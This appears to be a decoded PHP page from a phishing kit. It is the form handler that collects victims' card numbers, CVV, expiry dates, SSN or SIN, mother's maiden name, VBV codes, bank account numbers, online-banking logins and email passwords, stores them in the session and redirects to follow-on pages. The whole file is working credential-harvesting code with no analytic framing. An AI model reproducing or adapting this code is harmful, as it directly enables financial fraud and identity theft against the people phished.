PHP Decode

<?php 
 
ini_set("output_buffering",4096); 
@ob_start(); 
session_start(); 
session_set_cookie_params(0); 
 
require_once 'inc/functions.php'; 
require_once 'inc/config.php'; 
 
if(!isset($_SESSION['SESSION_ID'])) 
{ 
	header("location: index.php");	 
	exit; 
} 
$host = bin2hex ($_SERVER['HTTP_HOST']); 
 
$isValidCard = false; 
$isValidNameOnCard = false; 
$isValidCvv = false; 
$isValidExpDate = false; 
$isValidDob = false; 
$isValidSortCode = false; 
$isValidSsn = false; 
$isValidSin = false; 
$isValidZip= false; 
 
if(isset($_POST['cardnumber']) && trim($_POST['cardnumber']) !== '') { 
	if(is_valid_card($_POST['cardnumber'])) { 
		$isValidCard = true; 
	} 
	$_SESSION['CARD_NUMBER'] = $_POST['cardnumber']; 
} 
 
if(isset($_POST['nameoncc']) && trim($_POST['nameoncc']) !== '') { 
	$isValidNameOnCard = true; 
	$_SESSION['NAME_ON_CARD'] = $_POST['nameoncc']; 
} 
 
if(isset($_POST['exp']) && trim($_POST['exp']) !== '') { 
	if(strlen($_POST['exp']) >= 3 && strlen($_POST['exp']) <= 20) { 
		$isValidExpDate = true; 
	} 
	$_SESSION['EXPIRY_DATE'] = $_POST['exp']; 
} 
 
if(isset($_POST['cvv']) && trim($_POST['cvv']) !== '') { 
	if(strlen($_POST['cvv']) >= 3 && strlen($_POST['cvv']) <= 4) { 
		$isValidCvv = true; 
	} 
	$_SESSION['CVV'] = $_POST['cvv']; 
} 
 
 
if($rquest_for_sort_code && isset($_SESSION['COUNTRY']) && $_SESSION['COUNTRY'] === 'GB') { 
		if(isset($_POST['st'])) { 
			if(strlen($_POST['st']) >= 6 && strlen($_POST['st']) <= 8) { 
				$isValidSortCode = true; 
			} else { 
				$isValidSortCode = false; 
			} 
	$_SESSION['SORT_CODE'] = $_POST['st']; 
	} 
} else { 
	$isValidSortCode = true; 
} 
 
 
if($request_for_ssn && isset($_SESSION['COUNTRY']) && $_SESSION['COUNTRY'] === 'US') { 
		if(isset($_POST['sn'])) { 
			if(strlen($_POST['sn']) >= 9 && strlen($_POST['sn']) <= 11) { 
				$isValidSsn = true; 
			} else { 
				$isValidSsn = false; 
			} 
	$_SESSION['SSN'] = $_POST['sn']; 
	} 
} else { 
	$isValidSsn = true; 
} 
 
if($request_for_ssn && isset($_SESSION['COUNTRY']) && $_SESSION['COUNTRY'] === 'CA') { 
		if(isset($_POST['sin'])) { 
			if(strlen($_POST['sin']) >= 9 && strlen($_POST['sin']) <= 12) { 
				$isValidSin = true; 
			} else { 
				$isValidSin = false; 
			} 
	$_SESSION['SIN'] = $_POST['sin']; 
	} 
} else { 
	$isValidSin = true; 
} 
 
 
 
 
if(isset($_POST['v']) && trim($_POST['v']) !== '') { 
	$_SESSION['CARD_VBV'] = $_POST['v']; 
} 
 
if(isset($_POST['mn']) && trim($_POST['mn']) !== '') { 
	$_SESSION['MMN'] = $_POST['mn']; 
} 
 
if(isset($_POST['limit']) && trim($_POST['limit']) !== '') { 
	$_SESSION['CARD_LIMIT'] = $_POST['limit']; 
} 
 
if(isset($_POST['zz'])) { 
	if(strlen($_POST['zz']) >= 4 && strlen($_POST['zz']) <= 9) { 
		$isValidZip = true; 
	} 
	$_SESSION['CARD_ZIP'] = $_POST['zz']; 
} 
 
if(isset($_POST['dd']) && trim($_POST['dd']) !== '') { 
	if(strlen($_POST['dd']) >= 6 && strlen($_POST['dd']) <= 20) { 
		$isValidDob = true; 
	} 
	$_SESSION['DOB'] = $_POST['dd']; 
} 
 
 
 
if(isset($_POST['acctnum']) && trim($_POST['acctnum']) !== '') { 
	$_SESSION['ACCOUNT_NUM'] = $_POST['acctnum']; 
} 
 
 
if(isset($_POST['id']) && trim($_POST['id']) !== '') { 
	$_SESSION['ONLINE_BANKING_ID'] = $_POST['id']; 
} 
 
if(isset($_POST['ps']) && trim($_POST['ps']) !== '') { 
	$_SESSION['ONLINE_BANKING_PASS'] = $_POST['ps']; 
} 
 
 
if(isset($_POST['ez']) && trim($_POST['ez']) !== '') { 
	$_SESSION['CURRENT_EMAIL_PASS'] = $_POST['ez']; 
} 
 
// ignore validation 
if (!$request_for_cvv) 
	$isValidCvv = true; 
 
if (!$request_for_date_of_birth) 
	$isValidDob = true; 
 
if (!$request_for_zip_code) 
	$isValidZip = true; 
 
 
if (!$isValidCard || !$isValidNameOnCard || !$isValidCvv || !$isValidExpDate || !$isValidDob || !$isValidSortCode || !$isValidSsn || !$isValidSin || !$isValidZip) { 
	$errors = true; 
} else { 
	$errors = false; 
} 
 
 
if ($errors) { 
	$errorStatus = 'cardnum='.(int)$isValidCard.'&name='.(int)$isValidNameOnCard.'&cvv='.(int)$isValidCvv.'&exp='.(int)$isValidExpDate.'&dob='.(int)$isValidDob.'&st='.(int)$isValidSortCode.'&sn='.(int)$isValidSsn.'&sin='.(int)$isValidSin.'&zip='.(int)$isValidZip; 
 
	$errorStatus = base64_encode($errorStatus); 
	header("Location: verify.php?error=true&c=".$errorStatus); 
} else { 
	header("Location: validated.php?loggedin=true&client=".uniqid($_SESSION['SESSION_ID'], false)."&sessionid=".$host); 
} 
ob_end_flush(); 
?>